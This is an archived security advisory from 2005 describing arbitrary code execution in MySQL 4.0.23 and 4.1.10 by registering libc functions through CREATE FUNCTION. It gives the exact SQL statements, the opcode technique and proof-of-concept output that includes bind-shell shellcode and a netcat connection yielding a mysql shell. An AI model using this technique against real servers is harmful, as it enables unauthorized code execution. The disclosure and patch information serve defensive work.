what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mysqlCreatelibc.txt

mysqlCreatelibc.txt
Posted Mar 15, 2005
Authored by Stefano Di Paola | Site wisec.it

If an authenticated user has INSERT and DELETE privileges on an mysql administrative database, it is possible, by using the CREATE FUNCTION command, to take advantage of functions from libc in order to gain mysql user privileges. Version 4.1.10 and versions below and equal to 4.0.23 are affected.

tags | advisory
SHA-256 | 05ae9e22a0591885b9e526aefabcc601ce81851c4dcec3496411367507e6bb0a

mysqlCreatelibc.txt

Change Mirror Download
3. Mysql CREATE FUNCTION libc arbitrary code execution.

Author: Stefano Di Paola
Vulnerable: Mysql <= 4.0.23, 4.1.10
Type of Vulnerability: Local/Remote - input validation
Tested On : Mandrake 10.1 /Debian Sarge
Vendor Status: Notified on March 2005

-- Description

If an authenticated user has INSERT and DELETE privileges on 'mysql'
administrative database, it is possible, by using the CREATE FUNCTION
command, to take advantage by functions from libc in order to gain mysql
user privileges.

Let's see what is the issue.

The structs defined in include/mysql_com.h are

196 typedef struct st_udf_args
197 {
198 unsigned int arg_count; /* Number of arguments */
199 enum Item_result *arg_type; /* Pointer to item_results */
200 char **args; /* Pointer to argument */
201 unsigned long *lengths; /* Length of string arguments */
202 char *maybe_null; /* Set to 1 for all maybe_null args */
203 } UDF_ARGS;
204
205 /* This holds information about the result */
206
207 typedef struct st_udf_init
208 {
209 my_bool maybe_null; /* 1 if function can return NULL */
210 unsigned int decimals; /* for real functions */
211 unsigned long max_length; /* For string functions */
212 char *ptr; /* free pointer for function data */
213 my_bool const_item; /* 0 if result is independent of
arguments */
214 } UDF_INIT;
215

the order MySql use this structs when a function 'xxx' is called from
sql_udf.h (from Mysql Manual) is the following.

For STRING functions:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error);

For INTEGER functions:

long long xxx(UDF_INIT *initid, UDF_ARGS *args,
char *is_null, char *error);


so the first argument is a UDF_INIT pointer and the second one is
UDF_ARGS pointer.

by using on_exit, strcat (or strcpy) and exit libc function we could
change the execution flow.

from man strcat:
....
char *strcat(char *dest, const char *src);
....

from man on_exit:
....
int on_exit(void (*function)(int , void *), void *arg);

DESCRIPTION
The on_exit() function registers the given function to be
called at normal program termination, whether via exit(3) or via
return from the program's main. The function is passed the argument to
exit(3) and the arg argument from on_exit().
....

from man exit:
....
void exit(int status);
DESCRIPTION
The exit() function causes normal program termination and the the
value of status & 0377 is returned to the parent (see wait(2)). All
functions registered with atexit() and on_exit() are called in the
reverse order of their registration, and all open streams are
flushed and closed. Files created by tmpfile() are removed.
....


what would happen if we use these functions on mysql?

CREATE FUNCTION 'strcat' RETURNS STRING SONAME 'libc.so.6';
will call
strcat(UDF_INIT *initid, UDF_ARGS *args)

catting the value pointed by args (arg_count) in the location where
initid points.

CREATE FUNCTION 'on_exit' RETURNS INTEGER SONAME 'libc.so.6';
will call
on_exit(UDF_INIT *initid, UDF_ARGS *args)

registering the function pointed by initid.

CREATE FUNCTION 'exit' RETURNS INTEGER SONAME 'libc.so.6';
will call
exit( initid)
exiting with status initd.

Next step is understand how it works.

Supposing we have created strcat, on_exit and exit into MySql DBMS,
mysql> select on_exit(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
...
mysql> select strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G
*************************** 1. row ***************************
strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0): 1
1 row in set (0.00 sec)
mysql> select exit();
Lost Connection.

What happened?

We registered the location pointed by initid to be executed on exit by
using on_exit, then we overwrote *initd with strcat and finally we
called exit.

Now mysql daemon follow this flow:
1. exit is called, then jump to initid and execute location.
2. location contains the following value: 0x00000001 corresponding to
some non useful opcode.
3. so mysql crashes and exits.

by using this feature we can add a number of arguments to inject a
simple opcode for our aim.

by looking into memory with gdb we'll see that the string
strcat(0,0,0,0,.....
is very near (a bunch of bytes that for me is 0x3d) to address pointed
by 'initid' so by using the opcode

0x3deb jmp 0x3d

we'll jump to the command we sent....
So, by using as first argument a shellcode, mysql will execute it.

A proof of concept is attached.

$ perl exp3.pl 3 0
Using 3de9
Create Function
select on_exit('jfXj[RSjáÍRChÿ
ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá°
Í', 0), strcat(0);Select
on_exit
$VAR1 = {
'on_exit(\'jfXj[RSjáÍRChÿ
ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá°
Í
\',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,' =>
'592229467032649728',
'strcat(0)' => 'HPh?strcat(0P'
};
DBD::mysql::st execute failed: Lost connection to MySQL server during
query at myexp.pl line 112.
DBD::mysql::st execute failed: Lost connection to MySQL server during
query at myexp.pl line 112.
_

now open another shell and

$ nc 127.0.0.1 2707
id
uid=78(mysql) gid=78(mysql) groups=78(mysql)
^C
$




-- Solution

Mysql Company released a patch.
New versions for MySQL 4.0.24 and 4.1.10a have been released. Download
them to fix the issue.

Thanks to MySQL people, they where very kind and professional.

-- Disclaimer

In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use
or spread of this information.
Any use of this information is at the user's own risk.


--

......---oOOo--------oOOo---......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec.it
Email: stefano.dipaola1_at_tin.it
Web: www.wisec.it
..................................
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close